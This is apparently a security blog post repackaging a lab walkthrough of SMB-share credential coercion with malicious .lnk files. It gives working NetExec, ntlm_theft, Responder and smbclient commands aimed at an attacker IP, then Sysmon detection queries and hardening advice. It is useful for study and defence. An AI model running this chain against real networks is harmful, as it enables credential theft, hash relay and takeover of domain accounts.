Weaponizing Writable SMB Shares to Steal Domain Credentials

Executive Summary

Alex Neacsu’s Security Café post is a clean, end-to-end walkthrough of a coercion technique every internal pentester has used and most internal AD environments are still vulnerable to: drop a single specially-crafted file — usually a .lnk — into any SMB share with write access, and every domain user who browses that folder hands over their Net-NTLMv2 hash. No clicks, no double-click, no macro, no payload execution. Just directory browsing. The technique is invisible to most EDRs because nothing runs — the only artifacts are a file-creation event and an outbound SMB connection.

The reason this primitive keeps working comes down to three structural facts: department-wide write access to shares is granted casually, NTLM cannot be turned off in most enterprises because legacy software still depends on it, and SMB signing remains inconsistently enforced — so captured hashes are either offline-crackable or directly relay-able. The post walks the full chain in a lab (Windows Server 2019 DC, Windows 10 client, Kali over WireGuard) and pairs it with concrete Sysmon detection queries (Event ID 11 for the dropped .lnk, Event ID 3 for the outbound SMB to the attacker IP) and prevention guidance (disable NTLM where possible, audit share permissions). This post repackages the walkthrough with the original screenshots and commands preserved.

Why This Primitive Still Works

Write access to an SMB share is one of the most overlooked “low-severity” findings in internal assessments. With it, an attacker can drop file formats that Windows automatically resolves remote UNC paths from — .scf, .url, .lnk, .library-ms — and let Explorer do the rest. When any user browses the share, Windows attempts to resolve the embedded UNC path and authenticates to the attacker-controlled host using the current user’s domain context. No interaction beyond opening the folder is required.

Two important caveats from the post:

• Microsoft mitigated the SCF remote-icon loading behavior with ADV170014 back in 2017, so .scf is no longer the reliable workhorse it once was.
• Windows Libraries (.library-ms) can also trigger forced authentication, but the behavior is version- and patch-dependent — you can’t count on it in arbitrary environments.

In practice, .lnk files remain the most reliable trigger in modern environments — their UNC-path resolution happens during ordinary directory enumeration, and the behavior has not been muted by recent security advisories.

Net-NTLMv2 vs NT Hash — A Quick Refresher

Worth being precise about what you actually capture here, because the terminology gets blurred constantly.

• NT hash: the MD4 of the user’s password. Suitable for pass-the-hash — you can authenticate as the user directly with the hash, no plaintext needed.
• Net-NTLMv2: the challenge-response value computed during an NTLM authentication exchange. Not usable for pass-the-hash. Two real attack paths exist for it:
  • Offline cracking with Hashcat or John, viable against weak passwords (which department service accounts “tested” with Password1! certainly qualify as).
  • NTLM relay, where the captured authentication exchange is relayed live to another host (typically with ntlmrelayx) and used to execute as the victim — provided the target does not enforce SMB signing.

SMB signing enforcement is still patchy across the enterprise estate. On any DC or member server where signing is not required, captured Net-NTLMv2 traffic from this coercion can be relayed straight into code execution.

Why This Survives in Modern Environments

Neacsu names three structural reasons forced authentication via share write has not been killed off:

1. Permissive write access by default. Departments routinely get write access to wide swaths of shares with no thought to coercion surface — only to who needs to save files.
2. NTLM cannot be disabled. Legacy applications, third-party appliances and vendor software still negotiate NTLM. Most enterprises cannot turn it off without breaking something.
3. The technique is passive. There is no process spawn, no DLL load, no in-memory payload — nothing for behavioral EDR rules to anchor on. The artifacts are file creation and a network connection, and both happen in contexts that look very normal in isolation.

The Attack — Step-by-Step in the Lab

The lab in the original post:

• DC01: Windows Server 2019 Domain Controller, domain securitycafe.lab.
• WEB01: Windows 10 Pro workstation in the same domain, hosting the FinanceStorage share.
• Attacker: Kali Linux reached over WireGuard at 10.0.0.3.
• Compromised account (low-privileged): wbailey / Password1!.
• Target victim (whose hash we want): mgeorge, member of IT Admins.

Step 1 — Enumerate shares and access levels

NetExec quickly identifies shares and per-account permissions.

nxc smb web01 -u 'wbailey' -p 'Password1!' --shares

The key column is the permissions column: READ,WRITE on FinanceStorage is the only thing we need.

Step 2 — Generate the coercion files

ntlm_theft (Greenwolf/ntlm_theft on GitHub) generates one of every supported coercion file type in a single shot. The -s argument is the SMB host the embedded UNC paths will point to — the attacker IP.

python ../ntlm_theft.py -g all -s 10.0.0.3 -f Q1_Finance_Results

The -f prefix is what shows up to the user. Use a believable name — Q1_Finance_Results on a finance share rarely raises an eyebrow. The post recommends focusing on the LNK output for live engagements; .scf is patched and .library-ms is unpredictable.

Step 3 — Start Responder

Responder impersonates SMB, HTTP, FTP, LDAP and friends, captures the Net-NTLMv2 exchanges, and writes the hashes to disk in a format Hashcat can chew on.

sudo responder -I wg0

The interface here is the WireGuard tunnel back to the engagement network. In a flat internal network you would just point it at the LAN interface.

Step 4 — Drop the LNK on the share

Use the compromised account to copy the malicious .lnk onto FinanceStorage.

smbclient //WEB01/FinanceStorage -U 'SECURITYCAFE\wbailey'
smb: \> put Q1_Finance_Results.lnk
putting file Q1_Finance_Results.lnk as \Q1_Finance_Results.lnk (22.0 kB/s) (average 6.8 kB/s)

That is the entire delivery step. The file is now sitting in the shared folder, indistinguishable to a casual eye from any other shortcut.

Step 5 — Catch the hash

The moment mgeorge (the IT Admins member) browses to FinanceStorage, Explorer resolves the LNK’s UNC path to 10.0.0.3, Windows attempts NTLM authentication, and Responder captures it.

That captured hash is the entire prize. Crack it offline for the cleartext password, or relay it live to a DC / member server that does not enforce SMB signing for instant code execution as the victim.

Detection

Neacsu’s detection guidance is concrete and Sysmon-anchored. The high-level observation worth internalising: in any mature environment, an outbound SMB connection from a regular workstation to a non-corporate IP should be treated as highly suspicious. explorer.exe initiating outbound SMB to a random external endpoint is almost never legitimate business activity.

Sysmon Event ID 11 — File Create

Event ID 11 captures file creation with the filename, the responsible process, the user context and the timestamp. The detection focuses on the file extensions known to coerce authentication when present in a browsable share.

event.code: "11" AND host.name: "web01.securitycafe.lab" AND
file.extension:("lnk","scf","url","library-ms")

A LNK file appearing in a shared folder is not on its own a smoking gun — users legitimately drop shortcuts in shared workspaces. But Event ID 11 in a shared path, correlated with a subsequent outbound SMB connection from a different user on a different host, is a high-fidelity chain.

Sysmon Event ID 3 — NetworkConnect

This is the most definitive indicator. When a victim browses the share, explorer.exe resolves the LNK’s icon-location field by attempting SMB to the attacker IP on port 445. Event ID 3 records every outbound network connection with full process and target context.

event.code: "3" AND host.name: "web01.securitycafe.lab" AND
destination.port: 445

Tighten the rule further by filtering for destination IPs outside the corporate IP space. In a well-segmented environment, an explorer.exe-initiated outbound 445 to a non-RFC1918 or non-allowlisted address is nearly always credential coercion.

Prevention

Disable NTLM Authentication

The root cause: Windows will attempt NTLM against essentially any SMB server it’s pointed at. In Kerberos-only environments NTLM can be turned off entirely via Group Policy, which kills this coercion path outright. In practice the constraint is operational rather than technical — most enterprises have a long tail of legacy applications that still negotiate NTLM. Treat “turn off NTLM” as a multi-quarter program: audit, restrict, then disable, in that order.

Enforce Share Permission Reviews

Least privilege on share permissions is the cheap, immediately-deployable fix. Users who only need to read files should never have write privileges. Regular audits — PowerView, native AD reporting, or a scripted SMB ACL walk — surface overly permissive shares before an internal attacker walks the same path. The post explicitly calls out this as the most actionable defensive lever for organizations that can’t move on NTLM in the short term.

Key Takeaways

• Write access to any share accessible by multiple users is a credential collection point. Treat “write to a department share” as a credential-access primitive in your risk model, not a benign convenience.
• LNK is the reliable coercion vector in 2026. SCF was mitigated by ADV170014, .library-ms is patch-dependent; .lnk still triggers UNC resolution on plain directory browsing.
• What you capture is Net-NTLMv2. Not usable for pass-the-hash, but offline-crackable for weak passwords and live-relayable wherever SMB signing isn’t enforced. Either path leads to escalation.
• Almost nothing fires in EDR. No process spawn, no in-memory payload — just a file-create and an outbound 445 connection. Detection has to live in SIEM-side log correlation, not endpoint behavioral rules.
• Two-event detection chain. Sysmon Event 11 (LNK/SCF/URL/library-ms drop on a share) plus Sysmon Event 3 (explorer.exe outbound 445) is the high-fidelity signature — especially when the destination is outside the corporate IP range.
• NTLM kill switches are operational, not technical. The technical fix (GPO-disable NTLM) is trivial; the operational fix (find and replace every NTLM-dependent app) is what takes quarters.
• Share permissions are the highest-leverage immediate fix. If you can’t turn off NTLM in the short term, the cheapest meaningful reduction in attack surface is auditing and tightening share write ACLs.

Defensive Recommendations

• Audit every share with write access granted to broad user groups. Build a recurring inventory using PowerView (Find-DomainShare / Get-DomainGroup combinations), smbmap, or a scripted ACL walk; flag any “Domain Users”, “Authenticated Users”, or department-wide-group writeable share.
• Enforce SMB signing required on every server you can. This kills NTLM relay outright on those targets — even if a hash is captured, it has nowhere to be relayed to. Domain controllers should already require it; member servers often do not.
• Enable SMB encryption for shares carrying sensitive content, which forces signing as a side-effect and adds confidentiality on top.
• Roll out Extended Protection for Authentication (EPA) on HTTP-facing services that authenticate via NTLM (Exchange, ADFS, web SSO), and channel binding where supported, to break the cross-protocol relay variants.
• Block outbound SMB (TCP 445) at the perimeter and between network segments. This stops over-the-internet coercion attempts and limits east-west relay opportunities.
• Deploy the two-event Sysmon detection chain. File-create events on shared paths for the coercing extensions (.lnk, .scf, .url, .library-ms), correlated with explorer.exe outbound 445 from a different user, are high-fidelity and cheap to ship.
• Plan a multi-quarter NTLM phase-out. Start with NTLM auditing GPOs (“Audit NTLM authentication in this domain”), inventory the dependent applications, restrict NTLM use to specific accounts/servers, then disable on the rest. Don’t skip the inventory step — flipping the switch blind reliably breaks production.
• Watch service-account password quality. Net-NTLMv2 cracking yields cleartext only when the password is weak. Password1! on a service account is a credential-theft scenario waiting to happen; force long, random passwords or migrate to gMSAs.

Conclusion

What makes this technique worth re-reading every couple of years is that it is technologically unsophisticated and structurally durable. There is no exploit, no zero-day, no novel TTP — just a file format Windows still resolves automatically, an authentication protocol that can’t be turned off, and a share permission set nobody audits closely. Organizations classify write access to a share as a low-severity finding; in practice it is a credential collection point that lets a foothold on one low-privileged account silently harvest hashes from every user who walks past. The mitigations are well-understood — audit share permissions, enforce SMB signing, move toward a Kerberos-only future, and deploy proper endpoint and SIEM monitoring — but most of them are operational programs, not single configuration changes, which is exactly why this primitive still works.

Original text: “Weaponizing SMB Shares to Steal Domain Credentials” by Alex Neacsu at Security Café.